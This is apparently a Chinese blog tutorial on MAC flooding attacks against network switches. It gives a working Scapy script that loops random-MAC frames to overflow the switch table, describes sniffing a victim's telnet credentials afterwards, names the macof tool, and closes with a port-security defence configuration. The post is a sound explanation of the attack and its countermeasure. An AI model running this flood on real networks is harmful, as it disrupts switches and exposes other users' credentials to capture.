python mac flood攻击&防范

MAC Flood攻击原理


产生大量的不明的MAC地址,交换机就会不断地学习,而交换机的MAC表是有限的,当超过一个阀值后就不能再学习MAC。这时候的交换机就相当于一台集线器,当再有新的数据交换时交换机就会广播到所有接口,这时可以开启抓包就能抓取到流量。

 

 

小试牛刀


 使用RandMAC()产生随机函数

使用Ether() 制造二层数据包

 

 使用sendp函数发送二层数据包

 

 

MAC Flood脚本

# -*- coding: gbk -*-
# 制作人:Tim

from scapy.all import *

packet = Ether(src=RandMAC(),dst=RandMAC())

sendp(packet,iface="以太网",loop=1)  # loop循环发包

  

运行脚本前:

 

 运行脚本后:

 

攻击后效果:

 

这时就可以开启wireshark抓包,比如:这时用户telnet到一台设备上输入账号密码,就可以把对方的帐号密码捕获下来。

 

 

kali


 当然了,如果使用kali的工具会更快,这里只是想理解其中的原理

Macof 一款交换机压力测试工具

在网上随便找的图片:

 

 

 

防御措施


 交换机在接口下开启port-security

interface GigabitEthernet0/13
switchport mode access
switchport port-security
switchport port-security violation shutdown   #  惩罚措施默认为shutdown

switchport port-security maximum 1             #  如果接口学习到的MAC大于1则触发violation

 

posted @ 2021-03-02 16:31  tim54252  阅读(314)  评论(0编辑  收藏  举报